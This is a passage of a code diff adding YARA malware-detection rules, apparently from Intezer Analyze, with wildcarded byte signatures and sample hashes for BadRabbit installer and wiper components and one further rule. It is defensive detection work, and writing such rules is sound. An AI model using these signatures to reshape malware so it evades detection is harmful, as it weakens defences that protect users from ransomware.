+		$block_6 = { 48 ?? ?? ?? ?? 49 ?? ?? ?? 41 ?? ?? ?? ?? ?? 4D ?? ?? 48 ?? ?? ?? ?? E8 ?? ?? ?? ?? 3B ?? 0F 85 }
+		$block_7 = { 8B ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? 83 ?? ?? 83 ?? ?? 89 ?? ?? ?? ?? ?? ?? 0F 8C }
+		$block_8 = { 41 ?? ?? 41 ?? ?? 41 ?? ?? 41 ?? ?? 3B ?? 0F 4C ?? 41 ?? ?? 2B ?? 83 ?? ?? 85 ?? 48 ?? ?? 7E }
+		$block_9 = { 89 ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? 99 83 ?? ?? 03 ?? 83 ?? ?? 2B ?? 49 ?? ?? 8D ?? ?? ?? 75 }
+		$block_10 = { 48 ?? ?? FF 1? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 33 ?? 8B ?? FF 1? ?? ?? ?? ?? 49 ?? ?? 0F 84 }
+		$block_11 = { 44 ?? ?? ?? 8B ?? ?? ?? 49 ?? ?? 4C ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_12 = { 41 ?? ?? ?? ?? ?? 4C ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_13 = { 41 ?? ?? 44 ?? ?? 41 ?? ?? 45 ?? ?? 41 ?? ?? 41 ?? ?? 0F 4C ?? 8B ?? 2B ?? 85 ?? 48 ?? ?? 7E }
+		$block_14 = { 48 ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? E8 ?? ?? ?? ?? 45 ?? ?? 41 ?? ?? 0F 85 }
+		$block_15 = { 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 41 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 40 ?? ?? 0F 84 }
+		$block_16 = { 48 ?? ?? ?? ?? ?? ?? 4D ?? ?? 8B ?? FF 1? ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? 48 ?? ?? ?? ?? 0F 84 }
+		$block_17 = { 48 ?? ?? ?? ?? ?? ?? BA ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 40 ?? ?? ?? 85 ?? 0F 44 ?? 40 ?? ?? 75 }
+		$block_18 = { 41 ?? ?? ?? ?? ?? 4C ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 3B ?? 0F 85 }
+		$block_19 = { 8B ?? ?? 8B ?? E8 ?? ?? ?? ?? 41 ?? ?? ?? ?? ?? 44 ?? ?? ?? ?? ?? ?? ?? 0F BA ?? ?? 8B ?? 73 }
+		$block_20 = { 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? 8B ?? E8 ?? ?? ?? ?? 83 ?? ?? ?? ?? ?? ?? ?? 0F 85 }
+		$block_21 = { 4C ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 41 ?? ?? 0F 84 }
+		$block_22 = { 8B ?? 45 ?? ?? 45 ?? ?? 99 4C ?? ?? F7 ?? 41 ?? ?? ?? 44 ?? ?? 85 ?? 4C ?? ?? 4C ?? ?? 7E }
+		$block_23 = { 8B ?? 33 ?? 45 ?? ?? 21 ?? ?? ?? 99 45 ?? ?? 45 ?? ?? 4D ?? ?? 41 ?? ?? 85 ?? 4C ?? ?? 7E }
+		$block_24 = { 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 45 ?? ?? 29 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? 0F 85 }
+		$block_25 = { 8D ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 0F 84 }
+		$block_26 = { 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? 0F 84 }
+		$block_27 = { 41 ?? ?? ?? E8 ?? ?? ?? ?? 41 ?? ?? ?? 2B ?? 99 83 ?? ?? F7 ?? 8D ?? ?? 48 ?? ?? ?? ?? EB }
+		$block_28 = { FF 1? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 45 ?? ?? 8B ?? 8B ?? E8 ?? ?? ?? ?? 83 ?? ?? 0F 84 }
+		$block_29 = { 33 ?? 48 ?? ?? 49 ?? ?? 66 ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? 0F B7 ?? ?? ?? ?? ?? 66 }
+		$block_30 = { 48 ?? ?? ?? ?? ?? ?? 41 ?? ?? ?? ?? ?? 48 ?? ?? FF 1? ?? ?? ?? ?? 33 ?? 85 ?? 0F 95 ?? 89 }
+		$block_31 = { 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? E8 ?? ?? ?? ?? 44 ?? ?? ?? 4C ?? ?? ?? ?? 4C ?? ?? ?? 0F 85 }
+		$block_32 = { 48 ?? ?? ?? ?? ?? ?? 4C ?? ?? BA ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? 0F 84 }
+		$block_33 = { 48 ?? ?? B8 ?? ?? ?? ?? 83 ?? ?? ?? 0F 45 ?? 48 ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? 83 }
+		$block_34 = { 48 ?? ?? ?? ?? ?? ?? 45 ?? ?? BA ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? 0F 84 }
+		$block_35 = { E8 ?? ?? ?? ?? 48 ?? ?? ?? 33 ?? 48 ?? ?? ?? ?? ?? ?? ?? F2 ?? 48 ?? ?? 48 ?? ?? 0F 84 }
+		$block_36 = { 8B ?? ?? ?? ?? ?? 48 ?? ?? ?? 8D ?? ?? 41 ?? ?? ?? 3B ?? 48 ?? ?? ?? ?? ?? ?? ?? 0F 8C }
+		$block_37 = { 44 ?? ?? 4C ?? ?? 33 ?? 48 ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_38 = { 48 ?? ?? ?? ?? 45 ?? ?? 48 ?? ?? ?? ?? ?? ?? 45 ?? ?? ?? E8 ?? ?? ?? ?? 41 ?? ?? 0F 85 }
+		$block_39 = { 48 ?? ?? ?? ?? ?? ?? 49 ?? ?? ?? 33 ?? 48 ?? ?? 49 ?? ?? F2 ?? 48 ?? ?? 49 ?? ?? 0F 84 }
+		$block_40 = { 45 ?? ?? 4C ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? E8 ?? ?? ?? ?? 3B ?? 0F 85 }
+		$block_41 = { 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? FF 1? ?? ?? ?? ?? 49 ?? ?? 0F 84 }
+		$block_42 = { 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 49 ?? ?? 48 ?? ?? 0F 84 }
+		$block_43 = { 44 ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 41 ?? ?? ?? 0F B6 ?? ?? 2B ?? ?? ?? ?? ?? ?? 75 }
+		$block_44 = { 48 ?? ?? FF 1? ?? ?? ?? ?? 48 ?? ?? 33 ?? 44 ?? ?? FF 1? ?? ?? ?? ?? 49 ?? ?? 0F 84 }
+		$block_45 = { 49 ?? ?? ?? 33 ?? 48 ?? ?? 49 ?? ?? 66 ?? ?? 48 ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 0F 82 }
+		$block_46 = { 48 ?? ?? ?? ?? ?? ?? 33 ?? 48 ?? ?? ?? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 49 ?? ?? 0F 84 }
+		$block_47 = { E8 ?? ?? ?? ?? 33 ?? 48 ?? ?? ?? ?? ?? ?? ?? 49 ?? ?? F2 ?? 48 ?? ?? 49 ?? ?? 0F 84 }
+		$block_48 = { 48 ?? ?? ?? ?? ?? ?? 8B ?? FF 1? ?? ?? ?? ?? 0F B6 ?? 85 ?? 0F 44 ?? 40 ?? ?? 0F 85 }
+		$block_49 = { 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 48 ?? ?? 0F 84 }
+		$block_50 = { E8 ?? ?? ?? ?? 8B ?? 48 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? 0F 84 }
+		$block_51 = { 48 ?? ?? ?? ?? ?? ?? 33 ?? FF 1? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 48 ?? ?? 0F 84 }
+		$block_52 = { 49 ?? ?? 8B ?? 48 ?? ?? ?? 83 ?? ?? 0F A3 ?? ?? 41 ?? ?? 44 ?? ?? ?? 41 ?? ?? 79 }
+		$block_53 = { 33 ?? 48 ?? ?? FF 1? ?? ?? ?? ?? 45 ?? ?? 45 ?? ?? 41 ?? ?? 8B ?? 48 ?? ?? 0F 86 }
+		$block_54 = { 45 ?? ?? 49 ?? ?? 45 ?? ?? 49 ?? ?? 4C ?? ?? ?? ?? 48 ?? ?? ?? ?? 4C ?? ?? 0F 8E }
+		$block_55 = { 48 ?? ?? ?? 45 ?? ?? 41 ?? ?? ?? ?? ?? 49 ?? ?? FF 1? ?? ?? ?? ?? 83 ?? ?? 0F 84 }
+		$block_56 = { 48 ?? ?? ?? ?? ?? ?? 44 ?? ?? 8B ?? FF 1? ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? 0F 84 }
+		$block_57 = { 8B ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 41 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 3C ?? 0F 85 }
+		$block_58 = { 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 49 ?? ?? 0F 84 }
+		$block_59 = { 41 ?? ?? ?? ?? ?? 4C ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? E8 ?? ?? ?? ?? 3B ?? 0F 85 }
+		$block_60 = { 48 ?? ?? ?? ?? ?? ?? 4D ?? ?? 8B ?? FF 1? ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? 0F 84 }
+		$block_61 = { 48 ?? ?? ?? ?? ?? ?? 4D ?? ?? 8B ?? FF 1? ?? ?? ?? ?? 48 ?? ?? 4C ?? ?? 0F 84 }
+		$block_62 = { 48 ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 45 ?? ?? FF 1? ?? ?? ?? ?? 41 ?? ?? 0F 85 }
+		$block_63 = { 4D ?? ?? ?? ?? 4C ?? ?? ?? ?? ?? ?? 48 ?? ?? 8B ?? E8 ?? ?? ?? ?? 3B ?? 0F 85 }
+		$block_64 = { 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 3B ?? 0F 85 }
+		$block_65 = { 41 ?? ?? B9 ?? ?? ?? ?? 2B ?? 3B ?? 0F 4C ?? FF 1? ?? ?? ?? ?? 48 ?? ?? 74 }
+		$block_66 = { 8B ?? ?? ?? ?? ?? ?? 8D ?? ?? FF 1? ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? ?? 0F 84 }
+		$block_67 = { 48 ?? ?? ?? ?? ?? ?? 33 ?? FF 1? ?? ?? ?? ?? 48 ?? ?? 33 ?? 48 ?? ?? 0F 85 }
+		$block_68 = { 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_69 = { 48 ?? ?? ?? ?? 41 ?? ?? ?? ?? ?? 49 ?? ?? 45 ?? ?? 41 ?? ?? 48 ?? ?? 0F 84 }
+		$block_70 = { 48 ?? ?? ?? ?? ?? ?? 33 ?? 4C ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 48 ?? ?? 0F 84 }
+		$block_71 = { 33 ?? 49 ?? ?? 48 ?? ?? F2 ?? 48 ?? ?? 49 ?? ?? 49 ?? ?? 49 ?? ?? 0F 85 }
+		$block_72 = { 48 ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? FF 1? ?? ?? ?? ?? 41 ?? ?? 0F 85 }
+		$block_73 = { 33 ?? 49 ?? ?? 48 ?? ?? F2 ?? 48 ?? ?? 49 ?? ?? 49 ?? ?? 48 ?? ?? 0F 85 }
+		$block_74 = { 48 ?? ?? ?? 48 ?? ?? ?? ?? 8B ?? ?? 89 ?? ?? ?? 8B ?? ?? 39 ?? ?? 0F 8F }
+		$block_75 = { 49 ?? ?? ?? 33 ?? 48 ?? ?? ?? ?? 49 ?? ?? F2 ?? 48 ?? ?? 49 ?? ?? 0F 84 }
+		$block_76 = { 8B ?? 89 ?? ?? ?? 4C ?? ?? ?? ?? ?? ?? 99 33 ?? 2B ?? 3D ?? ?? ?? ?? 7F }
+		$block_77 = { 48 ?? ?? ?? ?? ?? ?? 33 ?? FF 1? ?? ?? ?? ?? 49 ?? ?? 48 ?? ?? 0F 84 }
+		$block_78 = { 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 48 ?? ?? 0F 84 }
+		$block_79 = { 48 ?? ?? ?? ?? ?? ?? ?? 49 ?? ?? E8 ?? ?? ?? ?? 41 ?? ?? 8B ?? 0F 85 }
+		$block_80 = { 48 ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? E8 ?? ?? ?? ?? 85 ?? 8B ?? 0F 85 }
+		$block_81 = { C6 ?? ?? ?? ?? ?? ?? ?? 0F B7 ?? ?? 66 ?? ?? ?? ?? 48 ?? ?? ?? ?? 75 }
+		$block_82 = { 48 ?? ?? ?? ?? ?? ?? 33 ?? FF 1? ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? 0F 84 }
+		$block_83 = { 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? E8 ?? ?? ?? ?? 3B ?? 0F 85 }
+		$block_84 = { 48 ?? ?? ?? ?? ?? ?? ?? 49 ?? ?? FF 1? ?? ?? ?? ?? 83 ?? ?? 0F 84 }
+		$block_85 = { BA ?? ?? ?? ?? 48 ?? ?? FF 1? ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? 0F 84 }
+		$block_86 = { 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? 8B ?? E8 ?? ?? ?? ?? 41 ?? ?? 0F 85 }
+		$block_87 = { 41 ?? ?? 44 ?? ?? ?? ?? 4C ?? ?? ?? ?? ?? ?? ?? 4C ?? ?? 0F 84 }
+		$block_88 = { 8B ?? ?? ?? 41 ?? ?? ?? ?? 0F BA ?? ?? 83 ?? ?? 41 ?? ?? 0F 8E }
+		$block_89 = { 48 ?? ?? ?? ?? 48 ?? ?? E8 ?? ?? ?? ?? 45 ?? ?? 41 ?? ?? 0F 84 }
+		$block_90 = { 48 ?? ?? 33 ?? 48 ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 49 ?? ?? 0F 84 }
+		$block_91 = { 4C ?? ?? ?? ?? ?? ?? ?? 8B ?? E8 ?? ?? ?? ?? 8A ?? 3C ?? 0F 85 }
+		$block_92 = { 48 ?? ?? 44 ?? ?? ?? ?? ?? ?? ?? 4C ?? ?? ?? ?? ?? ?? ?? 0F 8F }
+		$block_93 = { 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? FF 1? ?? ?? ?? ?? 49 ?? ?? 0F 85 }
+		$block_94 = { 8B ?? 85 ?? 0F 44 ?? C1 ?? ?? 89 ?? ?? 48 ?? ?? ?? 48 ?? ?? 75 }
+		$block_95 = { 48 ?? ?? ?? 33 ?? 48 ?? ?? ?? ?? F2 ?? 48 ?? ?? 48 ?? ?? 0F 82 }
+		$block_96 = { 33 ?? 48 ?? ?? ?? ?? 49 ?? ?? F2 ?? 48 ?? ?? 49 ?? ?? 0F 84 }
+		$block_97 = { 48 ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? 48 ?? ?? ?? ?? ?? ?? 0F 85 }
+		$block_98 = { 48 ?? ?? ?? ?? 48 ?? ?? 8B ?? E8 ?? ?? ?? ?? 41 ?? ?? 0F 84 }
+		$block_99 = { 4C ?? ?? ?? ?? ?? ?? ?? 41 ?? ?? E8 ?? ?? ?? ?? 84 ?? 0F 84 }
+
+	condition:
+		hash.sha256(0, filesize) == "ffb0e35cfab750c8532f7d49deb8a71284fa420660710b8be632dacdd0a5cf45" or
+		hash.sha256(0, filesize) == "1311759943aabfe55ef2d42677432f14ed8fb549619473e5fb56f8a92d2daf72" or
+		24 of them
+}
+
+rule BadRabbitInstaller {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 5? 8B ?? 81 E? ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 ?? 89 ?? ?? 8B ?? ?? 5? 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 33 ?? 5? 5? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_1 = { 5? 8B ?? 83 ?? ?? 5? 5? 33 ?? 5? 5? 6A ?? 5? 6A ?? 68 ?? ?? ?? ?? 5? 89 ?? ?? FF 1? ?? ?? ?? ?? 8B ?? 83 ?? ?? 0F 84 }
+		$block_2 = { 5? 8B ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 ?? 89 ?? ?? 5? 8B ?? ?? ?? ?? ?? 5? FF D? 8B ?? 85 ?? 0F 84 }
+		$block_3 = { 8D ?? ?? ?? ?? ?? 5? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? FF D? 5? FF 1? ?? ?? ?? ?? 8B ?? 85 ?? 0F 84 }
+		$block_4 = { 8D ?? ?? ?? ?? ?? 5? 8D ?? ?? ?? ?? ?? 5? 8D ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_5 = { 5? 2B ?? 8B ?? 5? 6A ?? FF 1? ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 8B ?? 85 ?? 0F 84 }
+		$block_6 = { 8B ?? ?? ?? ?? ?? 8B ?? ?? 0F B7 ?? ?? ?? 03 ?? 8D ?? ?? ?? 0F B7 ?? ?? 85 ?? 7E }
+
+	condition:
+		hash.sha256(0, filesize) == "630325cac09ac3fab908f903e3b00d0dadd5fdaa0875ed8496fcbb97a558d0da" or
+		7 of them
+}
+
+rule BadRabbitWiper {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 8B ?? ?? 8B ?? ?? 8B ?? ?? 0F B7 ?? ?? 0F A4 ?? ?? C1 ?? ?? 89 ?? 89 ?? ?? 8B ?? ?? C1 ?? ?? 89 }
+		$block_1 = { 5? 5? 5? 6A ?? 5? 5? 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 8B ?? 83 ?? ?? 0F 84 }
+		$block_2 = { 5? 8B ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 5? 5? 5? 33 ?? 89 ?? ?? 89 ?? ?? 89 ?? ?? 39 ?? ?? 0F 84 }
+		$block_3 = { 69 ?? ?? ?? ?? ?? 5? 5? 8D ?? ?? 5? 33 ?? 39 ?? ?? 0F 95 ?? 4? 5? FF 1? ?? ?? ?? ?? 3B ?? 0F 84 }
+		$block_4 = { 5? 8B ?? 83 ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? 83 ?? ?? ?? 03 ?? 5? 8B ?? ?? ?? ?? ?? 03 ?? 0F 84 }
+		$block_5 = { 8D ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 6A ?? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_6 = { 8D ?? ?? ?? ?? ?? 5? 68 ?? ?? ?? ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 88 }
+		$block_7 = { 8B ?? ?? 8D ?? ?? 5? FF 7? ?? 0F B7 ?? 5? FF 7? ?? FF 7? ?? FF 7? ?? E8 ?? ?? ?? ?? 84 ?? 74 }
+		$block_8 = { 68 ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 6A ?? 6A ?? FF D? 5? FF 1? ?? ?? ?? ?? 89 ?? ?? 85 ?? 0F 84 }
+		$block_9 = { 2B ?? D1 ?? 0F B7 ?? 68 ?? ?? ?? ?? 6A ?? 89 ?? ?? FF D? 5? FF D? 8B ?? 89 ?? ?? 85 ?? 0F 84 }
+		$block_10 = { 0F B7 ?? ?? 89 ?? ?? 0F B7 ?? ?? 5? FF 1? ?? ?? ?? ?? 8B ?? ?? 0F B7 ?? 83 ?? ?? 3B ?? 0F 87 }
+		$block_11 = { 8B ?? ?? ?? ?? ?? 83 ?? ?? 5? 6A ?? 89 ?? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 8B ?? 85 ?? 0F 84 }
+		$block_12 = { 8D ?? ?? ?? 5? 8D ?? ?? ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? 83 ?? ?? 0F 84 }
+		$block_13 = { 68 ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 6A ?? 6A ?? FF D? 5? FF 1? ?? ?? ?? ?? 8B ?? 85 ?? 0F 84 }
+		$block_14 = { 68 ?? ?? ?? ?? 8D ?? ?? 5? 0F B7 ?? ?? 6A ?? 03 ?? 5? FF 7? ?? E8 ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_15 = { 21 ?? ?? 68 ?? ?? ?? ?? 8D ?? ?? 5? FF 7? ?? FF 7? ?? FF 7? ?? E8 ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_16 = { 8B ?? ?? 8B ?? ?? 8B ?? A5 A5 A5 A5 8B ?? 89 ?? ?? 8B ?? ?? 89 ?? ?? 33 ?? 66 ?? ?? ?? 75 }
+		$block_17 = { 5? 8B ?? 83 ?? ?? 5? FF 3? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 33 ?? A3 ?? ?? ?? ?? 3B ?? 0F 84 }
+		$block_18 = { 8B ?? ?? 8D ?? ?? 5? 6A ?? 6A ?? 5? C7 ?? ?? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_19 = { 68 ?? ?? ?? ?? 6A ?? FF 1? ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 8B ?? 89 ?? ?? 85 ?? 0F 84 }
+		$block_20 = { A1 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 8B ?? 85 ?? 0F 84 }
+		$block_21 = { 5? 8B ?? 5? 6A ?? 6A ?? 6A ?? 6A ?? FF 1? ?? ?? ?? ?? 8B ?? ?? 89 ?? ?? 85 ?? 0F 84 }
+		$block_22 = { 0F B6 ?? ?? 33 ?? BB ?? ?? ?? ?? F7 ?? 4? 8A ?? ?? ?? ?? ?? 88 ?? ?? ?? 83 ?? ?? 72 }
+		$block_23 = { 5? 5? 6A ?? 5? 5? 68 ?? ?? ?? ?? FF 7? ?? FF 1? ?? ?? ?? ?? 89 ?? ?? 83 ?? ?? 0F 84 }
+		$block_24 = { 8B ?? ?? 0F B7 ?? ?? FF 7? ?? 8D ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 89 ?? ?? 83 ?? ?? 74 }
+		$block_25 = { 5? 5? 8D ?? ?? 5? FF 7? ?? 5? FF 7? ?? FF 7? ?? FF 7? ?? E8 ?? ?? ?? ?? 84 ?? 0F 84 }
+		$block_26 = { 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 8D ?? ?? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_27 = { 8B ?? ?? 8B ?? FF 1? ?? ?? ?? ?? 0F B7 ?? ?? 83 ?? ?? ?? 0F B7 ?? 89 ?? ?? 8B ?? 8D }
+		$block_28 = { 68 ?? ?? ?? ?? 6A ?? FF 1? ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 89 ?? ?? 85 ?? 0F 84 }
+		$block_29 = { 6A ?? 5? 8D ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 8D ?? ?? BF ?? ?? ?? ?? 3B ?? 0F 83 }
+		$block_30 = { 5? 8B ?? 83 ?? ?? 5? 68 ?? ?? ?? ?? 33 ?? FF 1? ?? ?? ?? ?? 89 ?? ?? 85 ?? 0F 84 }
+		$block_31 = { 8D ?? ?? ?? 0F B6 ?? 33 ?? 6A ?? 5? F7 ?? 4? 8A ?? ?? ?? ?? ?? 88 ?? 83 ?? ?? 72 }
+		$block_32 = { 5? 68 ?? ?? ?? ?? 6A ?? FF 1? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_33 = { 6A ?? 6A ?? FF 1? ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 8B ?? 89 ?? ?? 85 ?? 0F 84 }
+		$block_34 = { 66 ?? ?? ?? ?? ?? ?? 66 ?? ?? ?? 33 ?? 0F B7 ?? 4? 66 ?? ?? 8B ?? 8D ?? ?? 75 }
+		$block_35 = { 68 ?? ?? ?? ?? 8D ?? ?? 5? FF 7? ?? 6A ?? FF 7? ?? E8 ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_36 = { 8D ?? ?? ?? ?? ?? ?? 8B ?? 2B ?? 0F B7 ?? 66 ?? ?? ?? 83 ?? ?? 66 ?? ?? 75 }
+		$block_37 = { 0F B7 ?? ?? 5? 89 ?? ?? 83 ?? ?? 5? 6A ?? FF D? 5? FF D? 8B ?? 85 ?? 0F 84 }
+		$block_38 = { 0F B7 ?? ?? 5? 83 ?? ?? 5? 6A ?? 89 ?? ?? FF D? 5? FF D? 8B ?? 85 ?? 0F 84 }
+		$block_39 = { 6A ?? 6A ?? C6 ?? ?? C7 ?? ?? ?? ?? ?? ?? FF D? 5? FF D? 8B ?? 85 ?? 0F 84 }
+		$block_40 = { 8D ?? ?? 5? 5? 5? 89 ?? ?? 8B ?? ?? FF 7? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_41 = { 8D ?? ?? 5? 8B ?? ?? 6A ?? FF 7? ?? 03 ?? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_42 = { 0F B6 ?? 33 ?? 81 E? ?? ?? ?? ?? C1 ?? ?? 33 ?? ?? ?? ?? ?? ?? 4? 4? 75 }
+		$block_43 = { 68 ?? ?? ?? ?? 5? 8D ?? ?? ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_44 = { 6A ?? 6A ?? C6 ?? ?? FF D? 5? FF 1? ?? ?? ?? ?? 8B ?? 33 ?? 3B ?? 0F 84 }
+		$block_45 = { 6A ?? BF ?? ?? ?? ?? 5? FF 7? ?? FF 7? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 8E }
+		$block_46 = { 8B ?? ?? 8B ?? 0F B6 ?? ?? 6A ?? 5? 2B ?? 89 ?? ?? 33 ?? 4? 66 ?? ?? 75 }
+		$block_47 = { 8D ?? ?? ?? 5? 5? C7 ?? ?? ?? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_48 = { 83 ?? ?? ?? 8D ?? ?? 5? FF 7? ?? 8D ?? ?? 5? E8 ?? ?? ?? ?? 84 ?? 0F 84 }
+		$block_49 = { 8B ?? ?? 6A ?? 68 ?? ?? ?? ?? 5? FF 7? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 8E }
+		$block_50 = { 8D ?? ?? 5? 8B ?? ?? 8B ?? ?? FF 3? ?? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_51 = { 0F B7 ?? ?? 83 ?? ?? ?? 5? 5? 0F B7 ?? ?? 8D ?? ?? ?? 89 ?? ?? 85 ?? 7E }
+		$block_52 = { 8D ?? ?? ?? ?? ?? ?? 9? 8B ?? ?? ?? ?? ?? 83 ?? ?? ?? ?? ?? ?? 0F 84 }
+		$block_53 = { 5? 5? FF 1? ?? ?? ?? ?? 5? FF 7? ?? 33 ?? E8 ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_54 = { 6A ?? 68 ?? ?? ?? ?? FF 7? ?? FF 7? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 8E }
+		$block_55 = { 8D ?? ?? 5? 0F B7 ?? 5? 8D ?? ?? 5? FF 7? ?? E8 ?? ?? ?? ?? 84 ?? 74 }
+		$block_56 = { 5? 68 ?? ?? ?? ?? 6A ?? FF 1? ?? ?? ?? ?? 8B ?? 89 ?? ?? 3B ?? 0F 84 }
+		$block_57 = { 2B ?? 5? 83 ?? ?? 5? 6A ?? 89 ?? ?? FF D? 5? FF D? 8B ?? 85 ?? 0F 84 }
